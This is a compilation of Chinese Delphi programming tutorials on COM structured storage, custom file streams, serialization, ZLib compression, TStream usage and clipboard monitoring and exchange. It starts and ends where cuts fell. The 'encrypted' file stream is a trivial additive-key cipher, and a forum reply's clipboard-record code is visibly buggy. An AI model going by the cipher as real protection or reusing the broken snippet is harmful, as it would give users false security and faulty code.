if (FStorage=nil)or(AName='') then Exit;

pw := StringToOleStr(AName);

try

rc := FStorage.OpenStream( pw, nil, Mode and ($ffffffff xor STGM_CREATE xor STGM_CONVERT), 0, newStream );

if rc=STG_E_FILENOTFOUND then rc := FStorage.CreateStream( pw, Mode, 0, 0, newStream );

if rc<>S_OK then OleError(rc);

finally

SysFreeString(pw);

end;

if newStream=nil then Exit;

Result := TStgStream.Create( AName, Self, newStream );

end; {TStorage.CreateStream}

//-------------------------------------------------------------

function TStorage.CreateStorage( const AName : String; const Mode : DWord ) : TStorage;

var pw : PWideChar;

rc : HResult;

newStg : IStorage;

begin

Result := nil;

if AName='' then Exit;

pw := StringToOleStr(AName);

try

rc := FStorage.CreateStorage( pw, Mode, 0, 0, newStg );

if rc<>S_OK then OleError(rc);

finally

SysFreeString(pw);

end;

if newStg=nil then Exit;

Result := TStorage.Create( AName, Self, newStg );

end; {TStorage.CreateStorage}

//-------------------------------------------------------------

function TStorage.OpenStorage( const AName : String; const Mode : DWord ) : TStorage;

var pw : PWideChar;

rc : HResult;

newStg : IStorage;

begin

Result := nil;

if AName='' then Exit;

pw := StringToOleStr(AName);

// newStg := nil;

rc := FStorage.OpenStorage( pw, nil, Mode, nil, 0, newStg );

SysFreeString(pw);

if rc<>S_OK then OleError(rc);

if newStg=nil then Exit;

Result := TStorage.Create( AName, Self, newStg );

end; {TStorage.OpenStorage}

//-------------------------------------------------------------

function TStorage.OpenCreateStorage( const AName : String; const Mode : DWord; var bCreate : Boolean ) : TStorage;

var pw : PWideChar;

rc : HResult;

newStg : IStorage;

begin

Result := nil;

if AName='' then Exit;

pw := StringToOleStr(AName);

if bCreate then rc := FStorage.CreateStorage( pw, Mode, 0, 0, newStg )

else

begin

rc := FStorage.OpenStorage( pw, nil, Mode and ($ffffffff xor STGM_CREATE xor STGM_CONVERT), nil, 0, newStg );

if rc=STG_E_FILENOTFOUND then

begin

rc := FStorage.CreateStorage( pw, Mode, 0, 0, newStg );

bCreate := True;

end;

end;

SysFreeString(pw);

if rc<>S_OK then OleError(rc);

if newStg=nil then Exit;

Result := TStorage.Create( AName, Self, newStg );

end; {TStorage.CreateStorage}

//-------------------------------------------------------------

procedure TStorage.EnumElements( AStrings : TStringList ; dwTypeNeed:DWORD);

const MaxElem = 100;

var rc : HResult;

n,i : LongInt;

oEnum : IEnumSTATSTG;

aElem : Array [0..MaxElem-1] of TSTATSTG;

sName : String;

begin

if AStrings=nil then Exit;

rc := FStorage.EnumElements(0,nil,0,oEnum);

if rc<>S_OK then OleCheck(rc);

n := MaxElem;

// try

repeat

oEnum.Next(MaxElem,aElem,@n);

if n>0 then

for i := 0 to n-1 do with aElem[i] do

begin

if ( dwType and dwTypeNeed ) <> 0 then

begin

WideCharToStrVar(pwcsName,sName);

AStrings.AddObject(sName,Pointer(dwType));

CoTaskMemFree(pwcsName);

end;

end;

until n<>MaxElem;

// finally

// oEnum._Release;

// oEnum := nil;

// end;

end; {TStorage.EnumElements}

//-------------------------------------------------------------

procedure TStorage.RenameElement( const AOldName, ANewName : String );

var wcOld,wcNew : PWideChar;

rc : HResult;

begin

if (AOldName='')or(ANewName='')or(AOldName=ANewName) then Exit;

wcOld := StringToOleStr(AOldName);

wcNew := StringToOleStr(ANewName);

try

rc := FStorage.RenameElement(wcOld,wcNew);

finally

SysFreeString(wcOld);

SysFreeString(wcNew);

end;

OleCheck(rc);

end; {TStorage.RenameElement}

//-------------------------------------------------------------

procedure TStorage.SetName( Value : String );

begin

if FName=Value then Exit;

if (FStorage<>nil)and(FParent<>nil) then FParent.RenameElement(FName,Value);

FName := Value;

end; {TStorage.SetName}

//==TStgFile===========================================================

constructor TStgFile.Create( const AFileName : String; AStorage : IStorage );

begin

inherited Create('',nil,AStorage);

if AFileName='' then Exit;

FFileName := ExpandFileName(AFileName);

FPath := FFileName+':';

end; {TStgFile.Create}

//-------------------------------------------------------------

class function TStgFile.CreateFile( const AFileName : String; const Mode : DWord ) : TStgFile;

var pw : PWideChar;

newStg : IStorage;

begin

Result := nil;

if AFileName='' then Exit;

pw := StringToOleStr(AFileName);

try

newStg := nil;

OleCheck( StgCreateDocFile(pw,Mode,0,newStg) );

finally

SysFreeString(pw);

end;

if newStg<>nil then Result := TStgFile.Create(AFileName,newStg);

end; {TStgFile.CreateFile}

//-------------------------------------------------------------

class function TStgFile.OpenFile( const AFileName : String; const Mode : DWord ) : TStgFile;

var pw : PWideChar;

newStg : IStorage;

begin

Result := nil;

if AFileName='' then Exit;

pw := StringToOleStr(AFileName);

newStg := nil;

try

OleCheck( StgOpenStorage(pw,nil,Mode,nil,0,newStg) );

finally

SysFreeString(pw);

end;

if newStg<>nil then Result := TStgFile.Create(AFileName,newStg);

end; {TStgFile.OpenFile}

//-------------------------------------------------------------

{function TStgFile.Clone( const Mode : DWord ) : TStgFile;

var newStg : IStorage;

begin

Result := nil;

newStg := nil;

if FStorage=nil then Exit;

StgOpenStorage(nil,FStorage,Mode,nil,0,newStg);

if newStg<>nil then Result := TStgFile.Create(Self.FFileName,newStg);

end; {TStgFile.Clone}

procedure TStorage.Commit( cflag:DWORD );

var

rc:HRESULT;

begin

if FStorage <> nil then

rc := FStorage.Commit( cFlag );

if rc <> S_OK then OleError( rc );

end;

end.


编写定制的文件流实现文件读写加密
编写定制的文件流实现文件读写加密

整理编辑：China ASP

在Delphi中预定义了Tfilestream类，通过它可以对磁盘文件进行读写，笔者选定Tfilestream为基类，通过对其核心的两个读、写方法进行重载，编写定制的文件流，实现对文件的读、写进行加密。

首先，来看一下定制文件流（Tmystream）的声明：

type

Tmystream=class(Tfilestream)

private

fkey:string;

public

constructor create(const filename:string;mode:word);

function read(var buffer;count:longint):longint;override;

function write(const buffer;count:longint):longint;override;

property key:string read fkey write fkey ;

end;

---- 在Tmystream的声名中，我们对read、write两个方法进行了重载，并添加了一个新的特性key，用以存储对文件进行加密时所需的密码。为实现文件读写的加密，在write方法中，将key的每个字符依次与buffer中的字符相加，将得到的结果写入文件，实现加密；在read方法中，将读出的内容依次与key的每个字符相减，实现解密。加密及解密的方法多种多样，读者可以通过改写相关代码，得到不同的加密方法。

程序清单如下：

function Tmystream.write(const buffer;count:longint):longint;

var

Pbu,Pmy,mykey:pchar;

i,enc:integer;

begin

getmem(pmy,count); //为pmy分配内存

mykey:=pchar(key); //将key转换为pchar指针

try

pbu:=pchar(@buffer); //将buffer转换为pchar指针

for i:=0 to count-1 do

//将key的每个字符以此与buffer的每个字符循环相加,结果放入pmy指向的内存区

begin

enc:=(ord(pbu[i])+ord(mykey[(i mod length(key))])) mod 256;

Pmy[i]:=char(enc);

end;

result:=inherited write(Pmy^,count); //将pmy指向的内容写入文件

finally

freemem(Pmy,count);

end;

end;

function Tmystream.read(var buffer;count:longint):longint;

var

Pbu,Pmy,mykey:pchar;

i,mycount,enc:integer;

begin

getmem(Pmy,count);//为pmy分配内存

mykey:=pchar(key);//将key转换为pchar指针

try

mycount:=inherited read(Pmy^,count); //将文件内容读入pmy指向内存区

Pbu:=Pchar(@buffer);将buffer转换为pchar指针

for i:=0 to mycount-1 do//将key的每个字符依次与pmy的每个字符循环相减，结果放入pbu指向的变量

begin

enc:=(ord(Pmy[i])-ord(mykey[(i mod length(key))])) mod 256;

Pbu[i]:=chr(enc);

end;

finally

freemem(Pmy,count);

end;

result:=mycount;

end;

---- 完成定制文件流的编写后，便可在程序中应用，实现文件的读写加密，例程如下：

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes,Graphics, Controls, Forms, Dialogs,ExtCtrls, StdCtrls,unit2,unit3;

//unit2定义了Tmystream

//unit3定义了输入密码对话框form3

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Button3: TButton;

OpenDialog1: TOpenDialog;

SaveDialog1: TSaveDialog;

Panel1: TPanel;

Panel2: TPanel;

Memo1: TMemo;

Splitter1: TSplitter;

Memo2: TMemo;

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button2Click(Sender: TObject); //将选定的加密文件解开，读入memo2

var

encstr:Tmystream;

begin

if opendialog1.Execute and (form3.showmodal=mrok) then

begin

encstr:=Tmystream.create(opendialog1.filename,fmopenread);

encstr.key:=form3.Edit1.Text;

try

memo2.lines.LoadFromStream(encstr);

finally

encstr.Free;

end;

end;

end;

procedure TForm1.Button3Click(Sender: TObject); //将memo1中的内容加密，用指定文件名另存

var

encstr:Tmystream;

begin

if savedialog1.Execute and (form3.showmodal=mrok) then

begin

encstr:=Tmystream.create(savedialog1.filename,fmcreate);

encstr.key:=form3.Edit1.Text;

try

memo1.lines.SaveToStream(encstr);

finally

encstr.Free;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject); //将指定文件读入memo1

var

mystr:Tfilestream;

begin

if opendialog1.Execute then

begin

mystr:=Tfilestream.create(opendialog1.filename,fmopenread);

try

memo1.lines.LoadFromStream(mystr);

finally

mystr.Free;

end;

end;

end;

end.

---- 以上程序均在windows 98、Delphi4.0环境中，通过编译，运行正常。


Delphi中的Serialiation
Delphi中的Serialiation

熟悉MFC的人对Serialize这个虚拟函数大概不会陌生。在MFC中，如果要用Serialization机制读取和保存数据，大概是这样：

void CMyDoc::Serialize(CArchive& ar)

{

if (ar.IsStoring())

{

ar << myString;

ar << myInt;

}

else

{

ar >> myString;

ar >> myInt;

}

}

Object Pascal中有没有类似的机制呢？接触到TReader和TWriter这两个类之后，我知道我找到答案了。

不需多讲理论，来看一个实际的例子。在Form上面放三个Edit和两个Button，另外再加一个OpenDialog和SaveDialog。代码如下：

procedure TForm1.Button1Click(Sender: TObject);

begin

if SaveDialog1.Execute then

Serialize(SaveDialog1.FileName,True);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if OpenDialog1.Execute then

Serialize(OpenDialog1.FileName,False);

end;

procedure TForm1.Serialize(const FileName:string; bSave: Boolean);

var

Reader : TReader;

Writer : TWriter;

Stream : TFileStream;

begin

if bSave then begin

Stream := TFileStream.Create(FileName,fmOpenWrite or fmCreate);

Writer := TWriter.Create(Stream,4096);

Writer.WriteString(Edit1.Text);

Writer.WriteInteger(StrToInt(Edit2.Text));

Writer.WriteFloat(StrToFloat(Edit3.Text));

Writer.Free;

Stream.Free;

end

else begin

Stream := TFileStream.Create(FileName,fmOpenRead);

Reader := TReader.Create(Stream,4096);

Edit1.Text := Reader.ReadString;

Edit2.Text := IntToStr(Reader.ReadInteger);

Edit3.Text := FloatToStr(Reader.ReadFloat);

Reader.Free;

Stream.Free;

end;

end;

如果愿意的话，完全可以将Serialize包装成一个virtual method，从而让派生类中的实现更加简洁。

TReader和TWriter不仅能够读取和写入Object Pascal中绝大部分标准数据类型，而且能够读写Collection/List/Variant这些高级类型，甚至能够读写Perperties和Component。不过，TReader/TWriter自身实际上提供的功能很有限，大部分实际的工作是由TStream这个非常强大的类来完成的。从TReader和TWriter的声明中可以看到一些特别为Component而设计的方法，不难猜想，Delphi开发环境本身很可能就是利用TReader/TWriter，将构件的属性写入.DFM文件以及从.DFM文件中读取属性值的。

下面的例子很有用也非常有趣，它的效果完全相当于Form Designer中的View As Text命令：

var

DFMBuf, TextBuf : TStream;

begin

DFMBuf := TMemoryStream.Create;

DFMBuf.WriteComponent(Self);

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

甚至可以从可执行文件中读取Form的信息：

var

DFMBuf, TextBuf : TStream;

buf : pointer;

begin

DFMBuf := TResourceStream.Create(HInstance,'TForm1',RT_RCDATA);

DFMBuf.Position := 0;

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

end;

(说明：如果窗体不是TForm1，那么请将TResourceStream.Create一句中的第二个参数改为相应的窗体类名。)

好好读懂这些代码，相信自己做一个DFM Viewer也不是遥不可及的事情了吧!


ZLib压缩
uses

ZLib;

{ Compress a stream }

procedure CompressStream(inpStream, outStream: TStream);

var

InpBuf, OutBuf: Pointer;

InpBytes, OutBytes: Integer;

begin

InpBuf := nil;

OutBuf := nil;

try

GetMem(InpBuf, inpStream.Size);

inpStream.Position := 0;

InpBytes := inpStream.Read(InpBuf^, inpStream.Size);

CompressBuf(InpBuf, InpBytes, OutBuf, OutBytes);

outStream.Write(OutBuf^, OutBytes);

finally

if InpBuf <> nil then FreeMem(InpBuf);

if OutBuf <> nil then FreeMem(OutBuf);

end;

end;

{ Decompress a stream }

procedure DecompressStream(inpStream, outStream: TStream);

var

InpBuf, OutBuf: Pointer;

OutBytes, sz: Integer;

begin

InpBuf := nil;

OutBuf := nil;

sz := inpStream.Size - inpStream.Position;

if sz > 0 then

try

GetMem(InpBuf, sz);

inpStream.Read(InpBuf^, sz);

DecompressBuf(InpBuf, sz, 0, OutBuf, OutBytes);

outStream.Write(OutBuf^, OutBytes);

finally

if InpBuf <> nil then FreeMem(InpBuf);

if OutBuf <> nil then FreeMem(OutBuf);

end;

outStream.Position := 0;

end;

{

Example:

Compress the contents of RichEdit1 and

calculate the compression rate.

Then save the stream to a file (ms2.dat)

Beispiel:

Komprimiert den Inhalt von RichEdit1 und

berechnet die Kompressionsrate.

Dann wird der Stream in eine Datei (ms2.dat) gespeichert.

}

procedure TForm1.Button1Click(Sender: TObject);

var

ms1, ms2: TMemoryStream;

begin

ms1 := TMemoryStream.Create;

try

ms2 := TMemoryStream.Create;

try

RichEdit1.Lines.SaveToStream(ms1);

CompressStream(ms1, ms2);

ShowMessage(Format('Stream Compression Rate: %d %%',

[round(100 / ms1.Size * ms2.Size)]));

ms2.SaveToFile('C:.dat');

finally

ms1.Free;

end;

finally

ms2.Free;

end;

end;

{

Loads the stream from a file (ms2.dat)

and decompresses it.

Then loads the Stream to RichEdit1.

L?dt den komprimierten Stream von einer Datei (ms2.dat)

und dekomprimiert ihn.

Dann wird der Stream wieder in RichEdit1 geladen.

}

procedure TForm1.Button2Click(Sender: TObject);

var

ms1, ms2: TMemoryStream;

begin

ms1 := TMemoryStream.Create;

try

ms2 := TMemoryStream.Create;

try

ms1.LoadFromFile('C:.dat');

DecompressStream(ms1, ms2);

RichEdit1.Lines.LoadFromStream(ms2);

finally

ms1.Free;

end;

finally

ms2.Free;

end;

end;

**********************************

procedure Compress(var CompressedStream: TMemoryStream);

var

SourceStream: TCompressionStream;

DestStream: TMemoryStream;

Count: Integer;

Begin

Count := CompressedStream.Size;

DestStream := TMemoryStream.Create;

SourceStream:=TCompressionStream.Create(clMax, DestStream);

Try

CompressedStream.SaveToStream(SourceStream);

SourceStream.Free;

CompressedStream.Clear;

CompressedStream.WriteBuffer(Count, SizeOf(Count));

CompressedStream.CopyFrom(DestStream, 0);

finally

DestStream.Free;

end;

end;

procedure UnCompress(const CompressedStream: TMemoryStream);

var

SourceStream: TDecompressionStream;

DestStream: TMemoryStream;

Buffer: PChar;

Count: integer;

Begin

CompressedStream.Seek(0,soFromBeginning);

CompressedStream.ReadBuffer(Count, SizeOf(Count));

GetMem(Buffer, Count);

DestStream := TMemoryStream.Create;

SourceStream := TDecompressionStream.Create(CompressedStream);

Try

SourceStream.ReadBuffer(Buffer^, Count);

DestStream.WriteBuffer(Buffer^, Count);

DestStream.Position := 0;//复位流指针

CompressedStream.LoadFromStream(DestStream);

finally

FreeMem(Buffer);

DestStream.Free;

end;

end;


在Dephi中使用TStream读写数据的技巧
在Dephi中使用TStream读写数据的技巧

整理编辑：China ASP

---- 在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等，TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下，我们并不需要直接使用TStream类，对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求，就需要自己手动控制数据的读写。

一、 TStream的常用的方法和属性：

---- 1. function Read(var Buffer; Count: Longint): Longint; virtual; abstract

---- 2. function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

---- 3. function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;

---- 4. property Position: Longint;

---- 5. property Size: Longint

---- Read，Write，Seek都是纯虚函数，提供了数据读写和定位的抽象的方法。Read方法将数据从Stream中读到Buffer缓冲区中，Write则实现相反的操作，返回值表示实际读写数据的大小。Seek提供了在Stream中移动数据指针的方法。参数Origin可以取soFromBeginning，soFromCurrent，soFromEnd 三个值，Offset是偏移量，返回值是当前Stream数据指针的位置。

---- Position表示了数据指针在Stream中的位置。这个属性是可读写的，它实际上就是通过调用Seek方法实现的，所以实际使用时使用这个属性更为方便一些。Size属性表示当前Stream的大小，对于不同的Stream，有些时候是只读的。

二、 Stream数据的读写。

---- 1. SaveToStream(Stream: TStream ); //将类中的数据写到Stream的当前位置中

---- 2. LoadFromStream(Stream: TStream); //从当前位置读入Stream里的数据

---- 实际使用时我们基本上只要使用上面两个函数就可以了。

三、 例子

---- TStream的继承树图如图1所示(略)，实际使用时比较常用的是TFileStream，TMemoryStream，TblobStream，就以这三种流举一例说明具体用法。

---- 创建一个窗体Form1，放置三个按钮btnRead，btnInvert，btnSave和一个文件打开对话框OpenDialog1以及数据控件DataSource1，Table1，test.

---- 使用Dephi提供的Database Desktop创建一个表test，表里有一个字段域Image，数据库文件名存为test.db。在窗体上放置一个TDatabase控件dbTest，一个TTable控件Table1,一个DataSource控件DataSource1,一个TDBNavigator控件DBNavigator1。将dbTest与刚才Desktop创建的数据库相连，Table1的TableName属性设为test.db，DataSource1的DataSet属性设为Table1，DBNavigator1的DataSource属性设为DataSource1，VisibleButtons属性前四个设为TRUE。此外，将dbtest的Connected设为TRUE，Table1的Active属性设为TRUE，使得数据库一开始就处于打开状态。

---- 事件代码编写如下：

---- 1. btnRead的Click事件，这里演示了TFileStream的用法。

var

MS: TFileStream;

begin

if OpenDialog1.Execute then

begin

MS:=TFileStream.Create(OpenDialog1.FileName, fmOpenRead);

Image1.Picture.Bitmap.LoadFromStream(MS);

MS.Free;

end;

end;

--- 2. btnInvert的Click事件，这里演示了TMemoryStream的用法。其中使用了Invert函数，这是一个简单的将图象反色的函数（仅对真彩图象有效），它返回一个指向处理过的图象数据块的指针。

var

MS: TMemoryStream;

pImage: pointer;

begin

MS:=TMemoryStream.create;

Image1.Picture.Bitmap.SaveToStream(MS);

MS.Position:=0;

pImage:=Invert(MS.Memory, MS.size);

//Memory属性是指向实际内存块的指针

MS.Write(pImage^,MS.size);

MS.Position:=0;

//上一行代码使指针移到了Stream末尾，所以要复位

Image1.Picture.Bitmap.LoadFromStream(MS);

FreeMem(pImage);

MS.Free;

end;

Invert函数如下：

function TForm1.Invert(pImage: pointer; size: Integer): pointer;

var

pData, pMem: PChar;

i: Integer;

begin

pMem:=AllocMem(size);

CopyMemory(pMem,pImage,size);

pData:=pMem+54;

for i:=0 to size-54-1 do

begin

pData^:=Char(not integer(pData^));

pData:=pData+1;

end;

Result:=pMem;

end;

--- 3. btnSave的Click事件，这里演示了TMemoryStream的另一种用法，将Stream中的数据写到数据库中去。

var

MS: TMemoryStream;

begin

MS:=TMemoryStream.create;

Image1.Picture.Bitmap.SaveToStream(MS);

MS.Position:=0;

Table1.Append;

//在数据库中添加一条记录

TBlobField(Table1.FieldbyName('image')).LoadFromStream(MS);

Table1.Post;

//将所作的更新写入数据库

end;

-- 4. DBNavigator1的Click事件，这里演示了TBlobStream的用法，使用了和写入时不同的方法来读出数据库的图象数据。

var

MS: TStream;

begin

with Table1 do

MS:=CreateBlobStream(FieldbyName('image'),bmRead);

Image1.Picture.Bitmap.LoadFromStream(MS);

MS.Free;

end;

--- 现在你已经能够在文件，数据库，内存中任意读写数据流了。试试看吧！


监视剪贴板内容
Windows使用剪贴板观察器和观察链。剪贴板观察器是一个显示剪贴板当前内容的窗口。通常它应该至少能显示三种普通格式的内容：文字CF_TEXT、位图CF_BITMAP、元文件CF_METAFILEPICT。剪贴板观察链是一系列相互独立的剪贴板观察窗口，它们都能够接受当前发送到剪贴板的内容。我们大致按照以下步骤在窗口中处理有关剪贴板的内容。

首先，使用SetClipboardViewer（HWND）函数向剪贴板观察链中加入一个观察窗口。当剪贴板的内容发生变化时，该窗口会接收到一个WM_DRAWCLIPBOARD消息。该函数需要传递的参数是观察窗口的句柄。返回值也是一个窗口句柄类型，标识了将要加入的下一个窗口。

然后，响应WM_DRAWCLIPBOARD消息处理剪贴板内容的变化。

最后，在程序退出或关闭时需要调用ChangeClipboardChain函数来将自己从观察链中删除。然后调用SendMessage函数把这些消息传递到观察链中的下一个观察窗口。函数ChangeClipboardChain原型如下：

BOOL ChangeClipboardChain(

HWND hWndRemove, //将要删除的窗口的句柄

HWND hWndNewNext //观察链中下一个窗口的句柄

);

Delphi的clipbrd.pas单元中定义了一个类TClipboard，它封装了Windows剪贴板，简化了大量复杂的处理过程。我们在程序中可以直接调用全局函数Clipboard，该函数用于返回TClipboard对象实例，使用这个实例对剪贴板进行剪切、复制和粘贴等操作。下面是TClipboard对象的几个常用的方法和属性的简单介绍。

方法：

Assign：将指定的对象放入剪贴板中。

Open：打开剪贴板，防止其他程序改写剪贴板。在向剪贴板加入多项数据时尤其有用。

Close：关闭剪贴板。应该与打开剪贴板成对使用。

Clear：清空剪贴板。

GetAsHandle：返回剪贴板中指定格式数据的句柄。使用前必须打开剪贴板。

GetComponent：返回剪贴板中的一个控件。Delphi自己使用得多。

HasFormat：查询剪贴板中是否有指定格式的内容。

属性：

AsText：用于读写剪贴板文字内容。

FormatCount：读剪贴板中数据格式的种数。

Formats：返回剪贴板中各种格式的列表。

此外，Delphi中的许多控件中也封装了有关剪贴板处理的操作。下面的一个处理剪贴板的简单例子，只是将剪贴板的文字内容显示为窗口标题。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs,

Clipbrd;//加入clipbrd单元

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject;

var Action: TCloseAction);

private

{ Private declarations }

public

NextClipHwnd:HWND;//观察链中下一个窗口句柄

procedure WMDrawClipBoard

(var AMessage:TMessage);

message WM_DRAWCLIPBOARD;

//处理WM_DRAWCLIPBOARD消息过程

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMDrawClip

Board(var AMessage: TMessage);

begin

//将WM_DRAWCLIPBOARD

消息传递到下一个观察链中的窗口

SendMessage(NextClipHwnd,AMessage.

Msg,AMessage.WParam,AMessage.LParam);

//查询剪贴板中特定格式的数据内容

if (Clipboard.HasFormat(CF_TEXT) or

Clipboard.HasFormat(CF_OEMTEXT)) then

begin

//处理剪贴板中内容

Caption:=Clipboard.asText;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

//获得观察链中下一个窗口句柄

NextClipHwnd:=SetClipBoardViewer(Handle);

end;

procedure TForm1.FormClose

(Sender: TObject; var Action: TCloseAction);

begin

//从观察链中删除本观察窗口

ChangeClipboardChain(Handle,NextClipHwnd);

//将WM_DRAWCLIPBOARD

消息传递到下一个观察链中的窗口

SendMessage(NextClipHwnd,WM_

CHANGECBCHAIN,Handle,NextClipHwnd);

end;

end.

需要注意的是，在处理剪贴板内容变化的消息WM_DRAWCLIPBOARD的过程和关闭窗口事件中使用函数sendmessage把WM_DRAWCLIPBOARD或WM_CHANGECBCHAIN消息传递到观察链中的下一个窗口是必要的，否则有可能其他窗口不能获得类似消息。另外，在使用网络蚂蚁时笔者曾经碰到不能设置剪贴板格式的情况，在此提醒读者注意检查RegisterClipboardFormat等函数的返回值。


将内容写入剪贴板中
这个技巧是参考Delphi的剪贴板类的实现来完成的。将一个流的内容放入剪贴板，

首先要注册你自已的格式，使用RegisterClipboardFormat()函数

然后做下面三步：

1.创建一个内容流，并将内容写进去

2.创建一个全局的内容区，并将流的内容写入

3.调用ClipBoard.SetAsHandle()将内容写入剪贴板

将内容写入剪贴板中

var

hbuf : THandle;

bufptr : Pointer;

mstream : TMemoryStream;

begin

mstream := TMemoryStream.Create;

try

{-- 处理流的代码 --}

hbuf := GlobalAlloc(GMEM_MOVEABLE, mstream.size);

try

bufptr := GlobalLock(hbuf);

try

Move(mstream.Memory^, bufptr^, mstream.size);

Clipboard.SetAsHandle(CF_MYFORMAT, hbuf);

finally

GlobalUnlock(hbuf);

end;

except

GlobalFree(hbuf);

raise;

end;

finally

mstream.Free;

end;

end;

请注意不要将分配的全局缓冲区释放，这个工作由剪贴板来完成，在读出数据中

你应该将它复制后处理。

将剪贴板内容读出来

var

hbuf : THandle;

bufptr : Pointer;

mstream : TMemoryStream;

begin

hbuf := Clipboard.GetAsHandle(CF_MYFORMAT);

if hbuf <> 0 then begin

bufptr := GlobalLock(hbuf);

if bufptr <> nil then begin

try

mstream := TMemoryStream.Create;

try

mstream.WriteBuffer(bufptr^, GlobalSize(hbuf));

mstream.Position := 0;

{-- 处理流的代码 --}

finally

mstream.Free;

end;

finally

GlobalUnlock(hbuf);

end;

end;

end;

end;

********************************************

gototop99 (巴蒂) :怎样拷贝 特殊记录? 200分相送！！！

如：拷贝

TMyddd=record

a1:string;

a2:integer;

end;

类型的记录到 剪贴板中，怎么做啊？？

回复人： laihecongxi(兴哥) ( ) 信誉：100 2002-12-02 11:22:00 得分:0

//delphi6测试通过

type

TMyddd=record

a1:string;

a2:integer;

end;

................

var

Myddd : Tmyddd;

pMyddd : ^Tmyddd;

procedure .............................

var

mHnd : Thandle;

begin

//记录赋值

Myddd.a1 := 'AAA';

Myddd.a2 := 222;

//存数据

OurFormat:=RegisterClipboardFormat('CF_TMyddd');

if OpenClipboard(Handle) then

EmptyClipboard;

mHnd := GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE,SizeO(TMyddd));

pMyddd := GlobalLock(mHnd);

new(pMyddd);

pMyddd^.a1 := Myddd.a1;

pMyddd^.a2 := Myddd.a2;

GlobalUnLock(mHnd);

SetClipboardData(OurFormat,mHnd);

end;

var MemberInClip : Thandle;

begin //读数据

if Clipboard.HasFormat(OurFormat) then begin

if OpenClipboard(Handle) then

begin

MemberInClip:=GetClipboardData(OurFormat);

//new(PMyddd);

//pMyddd := GlobalLock(MemberInClip);

Myddd.a1 := pMyddd^.a1;

Myddd.a2 := pMyddd^.a2;

GlobalUnLock(MemberInClip);

CloseClipboard();

with Memo1.Lines do begin

Clear;

Add('Clipboard has TMember data:');

Add(Myddd.a1);

Add(inttostr(Myddd.a2));

end;

end;

end;

end;


对剪切板和流之间的数据交换
对剪切板和流之间的数据交换：

copy the clipboard to a stream and restore it again?

uses

clipbrd;

procedure CopyStreamToClipboard(fmt: Cardinal; S: TStream);

var

hMem: THandle;

pMem: Pointer;

begin

Assert(Assigned(S));

S.Position := 0;

hMem := GlobalAlloc(GHND or GMEM_DDESHARE, S.Size);

if hMem <> 0 then

begin

pMem := GlobalLock(hMem);

if pMem <> nil then

begin

try

S.Read(pMem^, S.Size);

S.Position := 0;

finally

GlobalUnlock(hMem);

end;

Clipboard.Open;

try

Clipboard.SetAsHandle(fmt, hMem);

finally

Clipboard.Close;

end;

end { If }

else

begin

GlobalFree(hMem);

OutOfMemoryError;

end;

end { If }

else

OutOfMemoryError;

end; { CopyStreamToClipboard }

procedure CopyStreamFromClipboard(fmt: Cardinal; S: TStream);

var

hMem: THandle;

pMem: Pointer;

begin

Assert(Assigned(S));

hMem := Clipboard.GetAsHandle(fmt);

if hMem <> 0 then

begin

pMem := GlobalLock(hMem);

if pMem <> nil then

begin

try

S.Write(pMem^, GlobalSize(hMem));

S.Position := 0;

finally

GlobalUnlock(hMem);

end;

end { If }

else

raise Exception.Create('CopyStreamFromClipboard: could not lock global handle ' +

'obtained from clipboard!');

end; { If }

end; { CopyStreamFromClipboard }

procedure SaveClipboardFormat(fmt: Word; writer: TWriter);

var

fmtname: array[0..128] of Char;

ms: TMemoryStream;

begin

Assert(Assigned(writer));

if 0 = GetClipboardFormatName(fmt, fmtname, SizeOf(fmtname)) then

fmtname[0] := #0;

ms := TMemoryStream.Create;

try

CopyStreamFromClipboard(fmt, ms);

if ms.Size > 0 then

begin

writer.WriteInteger(fmt);

writer.WriteString(fmtname);

writer.WriteInteger(ms.Size);

writer.Write(ms.Memory^, ms.Size);

end; { If }

finally

ms.Free

end; { Finally }

end; { SaveClipboardFormat }

procedure LoadClipboardFormat(reader: TReader);

var

fmt: Integer;

fmtname: string;

Size: Integer;

ms: TMemoryStream;

begin

Assert(Assigned(reader));

fmt := reader.ReadInteger;

fmtname := reader.ReadString;

Size := reader.ReadInteger;

ms := TMemoryStream.Create;

try

ms.Size := Size;

reader.Read(ms.memory^, Size);

if Length(fmtname) > 0 then

fmt := RegisterCLipboardFormat(PChar(fmtname));

if fmt <> 0 then

CopyStreamToClipboard(fmt, ms);

finally

ms.Free;

end; { Finally }

end; { LoadClipboardFormat }

procedure SaveClipboard(S: TStream);

var

writer: TWriter;

i: Integer;

begin

Assert(Assigned(S));

writer := TWriter.Create(S, 4096);

try

Clipboard.Open;

try

writer.WriteListBegin;

for i := 0 to Clipboard.formatcount - 1 do

SaveClipboardFormat(Clipboard.Formats[i], writer);

writer.WriteListEnd;

finally

Clipboard.Close;

end; { Finally }

finally

writer.Free

end; { Finally }

end; { SaveClipboard }

procedure LoadClipboard(S: TStream);

var

reader: TReader;

begin

Assert(Assigned(S));

reader := TReader.Create(S, 4096);

try

